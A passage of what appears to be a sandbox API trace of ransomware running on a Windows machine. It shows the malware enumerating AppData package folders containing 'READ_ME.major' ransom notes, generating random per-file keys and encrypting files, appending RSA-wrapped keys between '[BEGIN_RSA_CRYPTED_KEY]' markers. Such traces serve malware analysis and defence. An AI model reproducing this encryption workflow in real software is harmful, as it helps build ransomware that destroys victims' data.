ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3198e4d0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.747] FindNextFileW (in: hFindFile=0x2f30958, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3198e4d0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3198e4d0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3198e4d0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0206.747] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.PrintDialog_cw5n1h2txyewy\\AC\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cdd849c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2e3170f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3198e4d0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30998 [0206.748] FindNextFileW (in: hFindFile=0x2f30998, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cdd849c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2e3170f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3198e4d0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.748] FindNextFileW (in: hFindFile=0x2f30998, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3198e4d0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3198e4d0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3198e4d0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.748] FindNextFileW (in: hFindFile=0x2f30998, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3198e4d0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3198e4d0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3198e4d0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0206.748] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.PrintDialog_cw5n1h2txyewy\\AppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cdd849c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2e31e63, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3198e4d0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30dd8 [0206.748] FindNextFileW (in: hFindFile=0x2f30dd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cdd849c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2e31e63, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3198e4d0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.748] FindNextFileW (in: hFindFile=0x2f30dd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3198e4d0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3198e4d0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3198e4d0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.748] FindNextFileW (in: hFindFile=0x2f30dd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3198e4d0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3198e4d0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3198e4d0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0206.748] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.PrintDialog_cw5n1h2txyewy\\LocalCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cdd849c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2e32663, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3198e4d0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30e58 [0206.748] FindNextFileW (in: hFindFile=0x2f30e58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cdd849c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2e32663, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3198e4d0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.748] FindNextFileW (in: hFindFile=0x2f30e58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3198e4d0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3198e4d0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3198e4d0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.748] FindNextFileW (in: hFindFile=0x2f30e58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3198e4d0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3198e4d0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3198e4d0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0206.749] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.PrintDialog_cw5n1h2txyewy\\LocalState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cdd849c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2e3325d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3198e4d0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30e98 [0206.749] FindNextFileW (in: hFindFile=0x2f30e98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cdd849c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2e3325d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3198e4d0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.749] FindNextFileW (in: hFindFile=0x2f30e98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3198e4d0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3198e4d0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3198e4d0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.749] FindNextFileW (in: hFindFile=0x2f30e98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3198e4d0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3198e4d0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3198e4d0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0206.749] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.PrintDialog_cw5n1h2txyewy\\RoamingState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cdd849c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2e342c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3198e4d0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30a18 [0206.749] FindNextFileW (in: hFindFile=0x2f30a18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cdd849c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2e342c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3198e4d0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.749] FindNextFileW (in: hFindFile=0x2f30a18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3198e4d0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3198e4d0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3198e4d0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.749] FindNextFileW (in: hFindFile=0x2f30a18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3198e4d0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3198e4d0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3198e4d0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0206.749] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.PrintDialog_cw5n1h2txyewy\\Settings\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cdd849c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x713d778b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3198e4d0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30c18 [0206.749] FindNextFileW (in: hFindFile=0x2f30c18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cdd849c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x713d778b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3198e4d0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.749] FindNextFileW (in: hFindFile=0x2f30c18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3198e4d0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3198e4d0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31a4d1a9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.750] FindNextFileW (in: hFindFile=0x2f30c18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cdd849c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x9cdd849c, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x9cdd849c, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="roaming.lock", cAlternateFileName="ROAMIN~1.LOC")) returned 1 [0206.750] FindNextFileW (in: hFindFile=0x2f30c18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cdd849c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x715dffc9, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xdb0ec246, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0206.750] FindNextFileW (in: hFindFile=0x2f30c18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xdaed6159, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdaed6159, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xdaed6159, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat.LOG1", cAlternateFileName="SETTIN~1.LOG")) returned 1 [0206.750] FindNextFileW (in: hFindFile=0x2f30c18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xdaed6159, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdaed6159, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xdaed6159, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat.LOG2", cAlternateFileName="SETTIN~2.LOG")) returned 1 [0206.750] FindNextFileW (in: hFindFile=0x2f30c18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xdaed6159, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdaed6159, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xdaed6159, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat.LOG2", cAlternateFileName="SETTIN~2.LOG")) returned 0 [0206.750] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0206.750] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.PrintDialog_cw5n1h2txyewy\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0206.751] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.PrintDialog_cw5n1h2txyewy\\Settings\\settings.dat.LOG2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.printdialog_cw5n1h2txyewy\\settings\\settings.dat.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14e4 [0206.751] GetFileSizeEx (in: hFile=0x14e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0206.751] ReadFile (in: hFile=0x14e4, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0206.751] SetFilePointer (in: hFile=0x14e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.751] WriteFile (in: hFile=0x14e4, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0206.751] SetFilePointer (in: hFile=0x14e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0206.752] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.752] WriteFile (in: hFile=0x14e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.752] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0206.752] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0206.753] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0206.753] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="1VUUfsWSstUduE6KKWQ31pPVvVseEocU1diNVEz7AGSHPHchjX0mN21AUefqAC8J\nY3mLv92V9yKgaX5g9QgzTJXurDK8a/2mQe9kOBOezd4fr6mKvWmqgCioj6fcOM0v\nuBnJEFvfv2pqxWV7nVBa+Vk0vsi1ZFE+QfBBJ1wrBrrVuDUyB2990u6Fw1NImBLR\nqjzF0UuI8mrzL3rTlZEm+zJNwGSi8aRxoWQRAXNYXiwyolhGRNMZAlNE91CRsgWx\n5GVS2YaQxWXTzAUgnrIhf78a1RoUrBKf2CA+9tko9aWxuMoxd5XAlDuODlijO/gK\nuT1Xw+cECwfh+A+boEECow==\n", pcchString=0x2e3f9a8) returned 1 [0206.753] WriteFile (in: hFile=0x14e4, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0206.753] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.753] WriteFile (in: hFile=0x14e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.753] CloseHandle (hObject=0x14e4) returned 1 [0206.755] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0206.755] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.PrintDialog_cw5n1h2txyewy\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0206.755] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.PrintDialog_cw5n1h2txyewy\\Settings\\settings.dat.LOG1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.printdialog_cw5n1h2txyewy\\settings\\settings.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14e4 [0206.756] GetFileSizeEx (in: hFile=0x14e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0206.756] ReadFile (in: hFile=0x14e4, lpBuffer=0x2f998f0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f998f0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0206.757] SetFilePointer (in: hFile=0x14e4, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.757] WriteFile (in: hFile=0x14e4, lpBuffer=0x2f978e8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f978e8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0206.757] SetFilePointer (in: hFile=0x14e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0206.757] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.758] WriteFile (in: hFile=0x14e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.758] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0206.758] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0206.758] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0206.758] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ExWcvACnuLg7LVZIFBbZTX67MsP4tM0dy8oZGeTU9F5BwGigJLMy/SstqsQ1DP61\nm9cjx08xhsc7SekK4I25807MBh+x0611WS1dSqJSDGBsTg5Cgli2muLCKmGmouYG\nZlrQiTf1Y4zMFnP02jOHN/XZLXguVhNWfhPX3FCX5N6zmna5hnqRunEd2pvy8cwP\nBwqimofCcLH9xTTto1yHSX8BtLUAZclJXVE+W8Bj0LHELF/sBi9sCaVecouUW5zD\nVxHz25l5Ro2+BV0AMhAs3mRVXfKuKkJLPsVrJSJQP/W35c9Ylu5caBPUs9rX4wWx\n0bDs4TC41BlI0uQMo/uPQA==\n", pcchString=0x2e3f9a8) returned 1 [0206.758] WriteFile (in: hFile=0x14e4, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0206.758] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.758] WriteFile (in: hFile=0x14e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.759] CloseHandle (hObject=0x14e4) returned 1 [0206.760] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0206.760] SetFileAttributesW 